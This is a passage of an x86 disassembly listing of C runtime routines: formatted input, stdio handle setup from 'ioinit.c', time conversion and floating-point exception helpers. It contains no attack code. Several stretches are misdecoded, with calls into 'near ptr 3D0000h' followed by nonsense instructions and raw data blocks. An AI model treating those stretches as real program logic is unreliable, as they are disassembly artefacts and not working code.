mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1F4]
push edx
call sub_428080
add esp, 8
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_428080
add esp, 8
jmp short loc_427ECA
; ---------------------------------------------------------------------------
loc_427E98: ; CODE XREF: sub_426BE0+127Cj
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
loc_427EA1: ; CODE XREF: sub_426BE0+11C9j
; sub_426BE0+1245j
cmp [ebp+var_1D8], 0FFFFFFFFh
jnz short loc_427EC5
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 25h
jnz short loc_427EC3
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+1]
cmp ecx, 6Eh
jz short loc_427EC5
loc_427EC3: ; CODE XREF: sub_426BE0+12D4j
jmp short loc_427ECA
; ---------------------------------------------------------------------------
loc_427EC5: ; CODE XREF: sub_426BE0+12C8j
; sub_426BE0+12E1j
jmp loc_426C57
; ---------------------------------------------------------------------------
loc_427ECA: ; CODE XREF: sub_426BE0+80j
; sub_426BE0+635j ...
cmp [ebp+var_1D8], 0FFFFFFFFh
jnz short loc_427EFE
cmp [ebp+var_34], 0
jnz short loc_427EED
movsx edx, [ebp+var_28]
test edx, edx
jnz short loc_427EED
mov [ebp+var_224], 0FFFFFFFFh
jmp short loc_427EF6
; ---------------------------------------------------------------------------
loc_427EED: ; CODE XREF: sub_426BE0+12F7j
; sub_426BE0+12FFj
mov eax, [ebp+var_34]
mov [ebp+var_224], eax
loc_427EF6: ; CODE XREF: sub_426BE0+130Bj
mov eax, [ebp+var_224]
jmp short loc_427F01
; ---------------------------------------------------------------------------
loc_427EFE: ; CODE XREF: sub_426BE0+12F1j
mov eax, [ebp+var_34]
loc_427F01: ; CODE XREF: sub_426BE0+131Cj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_426BE0 endp
; ---------------------------------------------------------------------------
off_427F08 dd offset loc_426E9A ; DATA XREF: sub_426BE0+239r
dd offset loc_426E20
dd offset loc_426E38
dd offset loc_426E7C
dd offset loc_426E25
dd offset loc_426E87
dd offset loc_426E8F
dd offset loc_426EA5
byte_427F28 db 0 ; DATA XREF: sub_426BE0+233r
db 3 dup(7)
dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h)
dd 7040707h, 7050707h, 2 dup(7070707h)
db 7, 6
off_427F76 dd offset loc_426FAB ; DATA XREF: sub_426BE0+3C4r
dd offset loc_4274E4
dd offset loc_427957
dd offset loc_4273DB
dd offset loc_427942
dd offset loc_4274E0
dd offset loc_426FF1
dd offset loc_4273E2
dd offset loc_427016
dd offset loc_427D2A
byte_427F9E db 0 ; DATA XREF: sub_426BE0+3BEr
db 1
dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427FC0 proc near ; CODE XREF: sub_426BE0+9E9p
; sub_426BE0+BCCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp ds:dword_44FD20, 1
jle short loc_427FE2
push 4
mov eax, [ebp+arg_0]
push eax
call sub_423D90
add esp, 8
mov [ebp+var_4], eax
jmp short loc_427FF7
; ---------------------------------------------------------------------------
loc_427FE2: ; CODE XREF: sub_427FC0+Dj
mov ecx, [ebp+arg_0]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_4], eax
loc_427FF7: ; CODE XREF: sub_427FC0+20j
cmp [ebp+var_4], 0
jz short loc_428005
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
jmp short loc_428011
; ---------------------------------------------------------------------------
loc_428005: ; CODE XREF: sub_427FC0+3Bj
mov edx, [ebp+arg_0]
and edx, 0FFFFFFDFh
sub edx, 7
mov [ebp+var_8], edx
loc_428011: ; CODE XREF: sub_427FC0+43j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_427FC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428020 proc near ; CODE XREF: sub_426BE0+370p
; sub_426BE0+698p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jl short loc_42805B
mov ecx, [ebp+arg_0]
mov edx, [ecx]
movsx eax, byte ptr [edx]
and eax, 0FFh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_42806A
; ---------------------------------------------------------------------------
loc_42805B: ; CODE XREF: sub_428020+1Aj
mov ecx, [ebp+arg_0]
push ecx
call sub_423E50
add esp, 4
mov [ebp+var_4], eax
loc_42806A: ; CODE XREF: sub_428020+39j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_428020 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428080 proc near ; CODE XREF: sub_426BE0+ECp
; sub_426BE0+666p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_428099
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42EC40
add esp, 8
loc_428099: ; CODE XREF: sub_428080+7j
pop ebp
retn
sub_428080 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4280A0 proc near ; CODE XREF: sub_426BE0+E3p
; sub_426BE0+353p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
loc_4280A4: ; CODE XREF: sub_4280A0+30j
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_4]
push eax
call sub_428020
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_4206C0
add esp, 4
test eax, eax
jz short loc_4280D2
jmp short loc_4280A4
; ---------------------------------------------------------------------------
loc_4280D2: ; CODE XREF: sub_4280A0+2Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4280A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4280E0 proc near ; CODE XREF: seg000:0041EEF1p
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
sub eax, 76Ch
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 46h
jl short loc_428100
cmp [ebp+arg_0], 8Ah
jle short loc_428108
loc_428100: ; CODE XREF: sub_4280E0+15j
or eax, 0FFFFFFFFh
jmp loc_4281CA
; ---------------------------------------------------------------------------
loc_428108: ; CODE XREF: sub_4280E0+1Ej
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
add edx, ds:dword_450774[ecx*4]
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
and eax, 3
test eax, eax
jnz short loc_428131
cmp [ebp+arg_4], 2
jle short loc_428131
mov ecx, [ebp+var_2C]
add ecx, 1
mov [ebp+var_2C], ecx
loc_428131: ; CODE XREF: sub_4280E0+40j
; sub_4280E0+46j
mov edx, [ebp+arg_0]
sub edx, 46h
imul edx, 16Dh
mov eax, [ebp+arg_0]
sub eax, 1
sar eax, 2
mov ecx, [ebp+var_2C]
add ecx, edx
lea edx, [eax+ecx-11h]
imul edx, 18h
add edx, [ebp+arg_C]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
imul eax, 3Ch
add eax, [ebp+arg_10]
imul eax, 3Ch
add eax, [ebp+arg_14]
mov [ebp+var_4], eax
call sub_42ED80
mov ecx, [ebp+var_4]
add ecx, ds:dword_450690
mov [ebp+var_4], ecx
mov edx, [ebp+var_2C]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+arg_C]
mov [ebp+var_20], edx
cmp [ebp+arg_18], 1
jz short loc_4281BB
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_4281C7
cmp ds:dword_450694, 0
jz short loc_4281C7
lea eax, [ebp+var_28]
push eax
call sub_42F190
add esp, 4
test eax, eax
jz short loc_4281C7
loc_4281BB: ; CODE XREF: sub_4280E0+BAj
mov ecx, [ebp+var_4]
add ecx, ds:dword_450698
mov [ebp+var_4], ecx
loc_4281C7: ; CODE XREF: sub_4280E0+C0j
; sub_4280E0+C9j ...
mov eax, [ebp+var_4]
loc_4281CA: ; CODE XREF: sub_4280E0+23j
mov esp, ebp
pop ebp
retn
sub_4280E0 endp
; ---------------------------------------------------------------------------
align 10h
loc_4281D0: ; CODE XREF: seg000:00420BDEp
push ebp
mov ebp, esp
sub esp, 6Ch
push 81h
push offset aIoinit_c ; "ioinit.c"
push 2
push 480h
call sub_41AE60
add esp, 10h
mov [ebp-50h], eax
cmp dword ptr [ebp-50h], 0
jnz short loc_428202
push 1Bh
call sub_420CA0
add esp, 4
loc_428202: ; CODE XREF: seg000:004281F6j
mov eax, [ebp-50h]
mov ds:dword_4EED20, eax
mov ds:dword_4EEE20, 20h
jmp short loc_42821F
; ---------------------------------------------------------------------------
loc_428216: ; CODE XREF: seg000:00428251j
mov ecx, [ebp-50h]
add ecx, 24h
mov [ebp-50h], ecx
loc_42821F: ; CODE XREF: seg000:00428214j
mov edx, ds:dword_4EED20
add edx, 480h
cmp [ebp-50h], edx
jnb short loc_428253
mov eax, [ebp-50h]
mov byte ptr [eax+4], 0
mov ecx, [ebp-50h]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp-50h]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp-50h]
mov dword ptr [eax+8], 0
jmp short loc_428216
; ---------------------------------------------------------------------------
loc_428253: ; CODE XREF: seg000:0042822Ej
lea ecx, [ebp-48h]
push ecx
call near ptr 3D0000h
or [ebx-1D7E15ABh], cl
; ---------------------------------------------------------------------------
dw 0FFFFh
dd 0D2850000h, 187840Fh, 7D830000h, 840F00ECh, 17Dh, 8BEC458Bh
dd 9C4D8908h, 83EC558Bh, 558904C2h, 0FC458BFCh, 899C4503h
dd 7D81A045h, 8009Ch, 8B087D00h, 4D899C4Dh, 0C707EB98h
dd 8009845h, 558B0000h, 9C558998h, 1A445C7h, 0EB000000h
dd 0A4458B09h, 8901C083h, 0D8BA445h, 4EEE20h, 0F9C4D3Bh
dd 918Dh, 0B66800h, 0C8680000h, 6A0043A0h, 4806802h, 79E80000h
dd 83FFFF2Bh, 458910C4h, 0B07D83B0h, 8B0B7500h, 4EEE2015h
dd 9C558900h, 458B64EBh, 0B04D8BA4h, 20850C89h, 8B004EEDh
dd 4EEE2015h, 20C28300h, 0EE201589h, 9EB004Eh, 83B0458Bh
dd 458924C0h, 0A44D8BB0h, 208D148Bh, 81004EEDh, 480C2h
dd 0B0553900h, 458B2373h, 440C6B0h, 0B04D8B00h, 0FFFF01C7h
dd 558BFFFFh, 542C6B0h, 0B0458B0Ah, 840C7h, 0EB000000h
dd 0FF57E9BFh, 45C7FFFFh, 0A8h, 8B1BEB00h, 0C183A84Dh
dd 0A84D8901h, 83FC558Bh, 558901C2h, 0A0458BFCh, 8904C083h
dd 4D8BA045h, 9C4D3BA8h, 558B677Dh, 0FF3A83A0h, 458B5A74h
dd 8BE0FFCh, 8501E183h, 8B4D74C9h, 0BE0FFC55h, 8E08302h
dd 1075C085h, 8BA04D8Bh, 45E85211h, 7DFFFA7Ch, 3074C085h
dd 0C1A8458Bh, 4D8B05F8h, 1FE183A8h, 8B24C96Bh, 0ED208514h
dd 0D103004Eh, 8BB05589h, 4D8BB045h, 89118BA0h, 0B0458B10h
dd 8AFC4D8Bh, 4508811h, 0FFFF76E9h, 0A845C7FFh, 0
; ---------------------------------------------------------------------------
jmp short loc_428407
; ---------------------------------------------------------------------------
loc_4283FE: ; CODE XREF: seg000:loc_4284DFj
mov eax, [ebp-58h]
add eax, 1
mov [ebp-58h], eax
loc_428407: ; CODE XREF: seg000:004283FCj
cmp dword ptr [ebp-58h], 3
jge loc_4284E4
mov ecx, [ebp-58h]
imul ecx, 24h
mov edx, ds:dword_4EED20
add edx, ecx
mov [ebp-50h], edx
mov eax, [ebp-50h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz loc_4284D0
mov ecx, [ebp-50h]
mov byte ptr [ecx+4], 81h
cmp dword ptr [ebp-58h], 0
jnz short loc_428444
mov dword ptr [ebp-6Ch], 0FFFFFFF6h
jmp short loc_428454
; ---------------------------------------------------------------------------
loc_428444: ; CODE XREF: seg000:00428439j
mov edx, [ebp-58h]
sub edx, 1
neg edx
sbb edx, edx
add edx, 0FFFFFFF5h
mov [ebp-6Ch], edx
loc_428454: ; CODE XREF: seg000:00428442j
mov eax, [ebp-6Ch]
push eax
call near ptr 3D0000h
xchg eax, esp
mov [ebp-4Ch], eax
cmp dword ptr [ebp-4Ch], 0FFFFFFFFh
jz short loc_4284BF
mov ecx, [ebp-4Ch]
push ecx
call near ptr 3D0000h
cmpsb
mov [ebp-54h], eax
cmp dword ptr [ebp-54h], 0
jz short loc_4284BF
mov edx, [ebp-50h]
mov eax, [ebp-4Ch]
mov [edx], eax
mov ecx, [ebp-54h]
and ecx, 0FFh
cmp ecx, 2
jnz short loc_4284A0
mov edx, [ebp-50h]
mov al, [edx+4]
or al, 40h
mov ecx, [ebp-50h]
mov [ecx+4], al
jmp short loc_4284BD
; ---------------------------------------------------------------------------
loc_4284A0: ; CODE XREF: seg000:0042848Ej
mov edx, [ebp-54h]
and edx, 0FFh
cmp edx, 3
jnz short loc_4284BD
mov eax, [ebp-50h]
mov cl, [eax+4]
or cl, 8
mov edx, [ebp-50h]
mov [edx+4], cl
loc_4284BD: ; CODE XREF: seg000:0042849Ej
; seg000:004284ACj
jmp short loc_4284CE
; ---------------------------------------------------------------------------
loc_4284BF: ; CODE XREF: seg000:00428465j
; seg000:00428478j
mov eax, [ebp-50h]
mov cl, [eax+4]
or cl, 40h
mov edx, [ebp-50h]
mov [edx+4], cl
loc_4284CE: ; CODE XREF: seg000:loc_4284BDj
jmp short loc_4284DF
; ---------------------------------------------------------------------------
loc_4284D0: ; CODE XREF: seg000:00428428j
mov eax, [ebp-50h]
mov cl, [eax+4]
or cl, 80h
mov edx, [ebp-50h]
mov [edx+4], cl
loc_4284DF: ; CODE XREF: seg000:loc_4284CEj
jmp loc_4283FE
; ---------------------------------------------------------------------------
loc_4284E4: ; CODE XREF: seg000:0042840Bj
mov eax, ds:dword_4EEE20
push eax
call near ptr 3D0000h
and al, 8Bh
in eax, 5Dh
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov dword ptr [ebp-8], 0
jmp short loc_428518
; ---------------------------------------------------------------------------
loc_42850F: ; CODE XREF: seg000:loc_428592j
mov eax, [ebp-8]
add eax, 1
mov [ebp-8], eax
loc_428518: ; CODE XREF: seg000:0042850Dj
cmp dword ptr [ebp-8], 40h
jge short loc_428597
mov ecx, [ebp-8]
cmp ds:dword_4EED20[ecx*4], 0
jz short loc_428592
mov edx, [ebp-8]
mov eax, ds:dword_4EED20[edx*4]
mov [ebp-4], eax
jmp short loc_428543
; ---------------------------------------------------------------------------
loc_42853A: ; CODE XREF: seg000:loc_42856Dj
mov ecx, [ebp-4]
add ecx, 24h
mov [ebp-4], ecx
loc_428543: ; CODE XREF: seg000:00428538j
mov edx, [ebp-8]
mov eax, ds:dword_4EED20[edx*4]
add eax, 480h
cmp [ebp-4], eax
jnb short loc_42856F
mov ecx, [ebp-4]
cmp dword ptr [ecx+8], 0
jz short loc_42856D
mov edx, [ebp-4]
add edx, 0Ch
push edx
call ds:dword_4F136C ; RtlDeleteCriticalSection
loc_42856D: ; CODE XREF: seg000:0042855Ej
jmp short loc_42853A
; ---------------------------------------------------------------------------
loc_42856F: ; CODE XREF: seg000:00428555j
push 2
mov eax, [ebp-8]
mov ecx, ds:dword_4EED20[eax*4]
push ecx
call sub_41B8F0
add esp, 8
mov edx, [ebp-8]
mov ds:dword_4EED20[edx*4], 0
loc_428592: ; CODE XREF: seg000:00428529j
jmp loc_42850F
; ---------------------------------------------------------------------------
loc_428597: ; CODE XREF: seg000:0042851Cj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4285A0 proc near ; CODE XREF: sub_41F050+13p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
push 2
call sub_421A80
add esp, 4
mov [ebp+var_8], 3
jmp short loc_4285C9
; ---------------------------------------------------------------------------
loc_4285C0: ; CODE XREF: sub_4285A0:loc_428664j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_4285C9: ; CODE XREF: sub_4285A0+1Ej
mov ecx, [ebp+var_8]
cmp ecx, ds:dword_4F0080
jge loc_428669
mov edx, [ebp+var_8]
mov eax, ds:dword_4EF06C
cmp dword ptr [eax+edx*4], 0
jz short loc_428664
mov ecx, [ebp+var_8]
mov edx, ds:dword_4EF06C
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jz short loc_428621
mov edx, [ebp+var_8]
mov eax, ds:dword_4EF06C
mov ecx, [eax+edx*4]
push ecx
call sub_41ACF0
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_428621
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_428621: ; CODE XREF: sub_4285A0+5Dj
; sub_4285A0+76j
cmp [ebp+var_8], 14h
jl short loc_428664
mov eax, [ebp+var_8]
mov ecx, ds:dword_4EF06C
mov edx, [ecx+eax*4]
add edx, 20h
push edx
call ds:dword_4F136C ; RtlDeleteCriticalSection
push 2
mov eax, [ebp+var_8]
mov ecx, ds:dword_4EF06C
mov edx, [ecx+eax*4]
push edx
call sub_41B8F0
add esp, 8
mov eax, [ebp+var_8]
mov ecx, ds:dword_4EF06C
mov dword ptr [ecx+eax*4], 0
loc_428664: ; CODE XREF: sub_4285A0+44j
; sub_4285A0+85j
jmp loc_4285C0
; ---------------------------------------------------------------------------
loc_428669: ; CODE XREF: sub_4285A0+32j
push 2
call sub_421B20
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4285A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_428680(double)
sub_428680 proc near ; CODE XREF: sub_41F150+C3p
; sub_41F370+C3p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_428680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4286A0(int, double, int)
sub_4286A0 proc near ; CODE XREF: sub_41F150+85p
; sub_41F370+85p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp ds:dword_4507AC, 0
jnz short loc_4286D4
mov eax, [ebp+arg_C]
push eax ; int
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+arg_4]
push edx ; double
push 0 ; int
push 0 ; int
mov eax, [ebp+10h]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+arg_0]
push edx ; int
push 1 ; int
call sub_429150
add esp, 24h
jmp short loc_4286F3
; ---------------------------------------------------------------------------
loc_4286D4: ; CODE XREF: sub_4286A0+Aj
call sub_4267E0
mov dword ptr [eax], 21h
push 0FFFFh
mov eax, [ebp+arg_C]
push eax
call sub_4295E0
add esp, 8
fld qword ptr [ebp+arg_4]
loc_4286F3: ; CODE XREF: sub_4286A0+32j
pop ebp
retn
sub_4286A0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
fld qword ptr [ebp+0Ch]
fadd qword ptr [ebp+14h]
fstp qword ptr [ebp-8]
cmp ds:dword_4507AC, 0
jnz short loc_428744
mov eax, [ebp+1Ch]
push eax
mov ecx, [ebp-4]
push ecx
mov edx, [ebp-8]
push edx
mov eax, [ebp+18h]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
push 1
call sub_429150
add esp, 24h
jmp short loc_428763
; ---------------------------------------------------------------------------
loc_428744: ; CODE XREF: seg000:00428716j
call sub_4267E0
mov dword ptr [eax], 21h
push 0FFFFh
mov edx, [ebp+1Ch]
push edx
call sub_4295E0
add esp, 8
fld qword ptr [ebp-8]
loc_428763: ; CODE XREF: seg000:00428742j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_428770(int, int, int, int, double, int)
sub_428770 proc near ; CODE XREF: sub_41F150+B1p
; sub_41F150+129p ...
var_5C = byte ptr -5Ch
var_24 = dword ptr -24h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
mov eax, [ebp+arg_18]
push eax
lea ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_428DD0
add esp, 0Ch
test eax, eax
jnz short loc_4287B6
mov eax, [ebp+var_24]
and al, 0FEh
mov [ebp+var_24], eax
lea ecx, [ebp+arg_10]
push ecx
lea edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
lea edx, [ebp+arg_18]
push edx
lea eax, [ebp+var_5C]
push eax
call sub_428900
add esp, 18h
loc_4287B6: ; CODE XREF: sub_428770+1Cj
mov ecx, [ebp+arg_0]
push ecx
call sub_429270
add esp, 4
mov [ebp+var_4], eax
cmp ds:dword_4507AC, 0
jnz short loc_4287FE
cmp [ebp+var_4], 0
jz short loc_4287FE
mov edx, [ebp+arg_18]
push edx ; int
mov eax, dword ptr [ebp+arg_10+4]
push eax
mov ecx, dword ptr [ebp+arg_10]
push ecx ; double
push 0 ; int
push 0 ; int
mov edx, [ebp+arg_C]
push edx ; int
mov eax, [ebp+arg_8]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+var_4]
push edx ; int
call sub_429150
add esp, 24h
jmp short loc_42881E
; ---------------------------------------------------------------------------
loc_4287FE: ; CODE XREF: sub_428770+5Cj
; sub_428770+62j
mov eax, [ebp+var_4]
push eax
call sub_4291F0
add esp, 4
push 0FFFFh
mov ecx, [ebp+arg_18]
push ecx
call sub_4295E0
add esp, 8
fld [ebp+arg_10]
loc_42881E: ; CODE XREF: sub_428770+8Cj
mov esp, ebp
pop ebp
retn
sub_428770 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 5Ch
mov eax, [ebp+28h]
push eax
lea ecx, [ebp+20h]
push ecx
mov edx, [ebp+8]
push edx
call sub_428DD0
add esp, 0Ch
test eax, eax
jnz short loc_42888E
mov eax, [ebp-24h]
or al, 1
mov [ebp-24h], eax
mov ecx, [ebp-24h]
and ecx, 0FFFFFFE1h
or ecx, 2
mov [ebp-24h], ecx
mov edx, [ebp+18h]
mov [ebp-34h], edx
mov eax, [ebp+1Ch]
mov [ebp-30h], eax
lea ecx, [ebp+20h]
push ecx
lea edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
lea edx, [ebp+28h]
push edx
lea eax, [ebp-5Ch]
push eax
call sub_428900
add esp, 18h
loc_42888E: ; CODE XREF: seg000:0042884Cj
mov ecx, [ebp+8]
push ecx
call sub_429270
add esp, 4
mov [ebp-4], eax
cmp ds:dword_4507AC, 0
jnz short loc_4288DA
cmp dword ptr [ebp-4], 0
jz short loc_4288DA
mov edx, [ebp+28h]
push edx
mov eax, [ebp+24h]
push eax
mov ecx, [ebp+20h]
push ecx
mov edx, [ebp+1Ch]
push edx
mov eax, [ebp+18h]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-4]
push ecx
call sub_429150
add esp, 24h
jmp short loc_4288FA
; ---------------------------------------------------------------------------
loc_4288DA: ; CODE XREF: seg000:004288A4j
; seg000:004288AAj
mov edx, [ebp-4]
push edx
call sub_4291F0
add esp, 4
push 0FFFFh
mov eax, [ebp+28h]
push eax
call sub_4295E0
add esp, 8
fld qword ptr [ebp+20h]
loc_4288FA: ; CODE XREF: seg000:004288D8j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428900 proc near ; CODE XREF: sub_428770+3Ep
; seg000:00428886p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+8], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+arg_8]
and eax, 10h
test eax, eax
jz short loc_428944
mov [ebp+var_4], 0C000008Fh
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_428944: ; CODE XREF: sub_428900+2Cj
mov ecx, [ebp+arg_8]
and ecx, 2
test ecx, ecx
jz short loc_428963
mov [ebp+var_4], 0C0000093h
mov edx, [ebp+arg_0]
mov eax, [edx+4]
or al, 2
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
loc_428963: ; CODE XREF: sub_428900+4Cj
mov edx, [ebp+arg_8]
and edx, 1
test edx, edx
jz short loc_428983
mov [ebp+var_4], 0C0000091h
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_428983: ; CODE XREF: sub_428900+6Bj
mov eax, [ebp+arg_8]
and eax, 4
test eax, eax
jz short loc_4289A3
mov [ebp+var_4], 0C000008Eh
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 8
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_4289A3: ; CODE XREF: sub_428900+8Bj
mov ecx, [ebp+arg_8]
and ecx, 8
test ecx, ecx
jz short loc_4289C2
mov [ebp+var_4], 0C0000090h
mov edx, [ebp+arg_0]
mov eax, [edx+4]
or al, 10h
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
loc_4289C2: ; CODE XREF: sub_428900+ABj
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 1
neg eax
sbb eax, eax
inc eax
and eax, 1
shl eax, 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, 0FFFFFFEFh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 4
neg edx
sbb edx, edx
inc edx
and edx, 1
shl edx, 3
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 0FFFFFFF7h
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 8
neg ecx
sbb ecx, ecx
inc ecx
and ecx, 1
shl ecx, 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
and al, 0FBh
or eax, ecx
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 10h
neg eax
sbb eax, eax
inc eax
and eax, 1
shl eax, 1
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, 0FFFFFFFDh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 20h
neg edx
sbb edx, edx
inc edx
and edx, 1
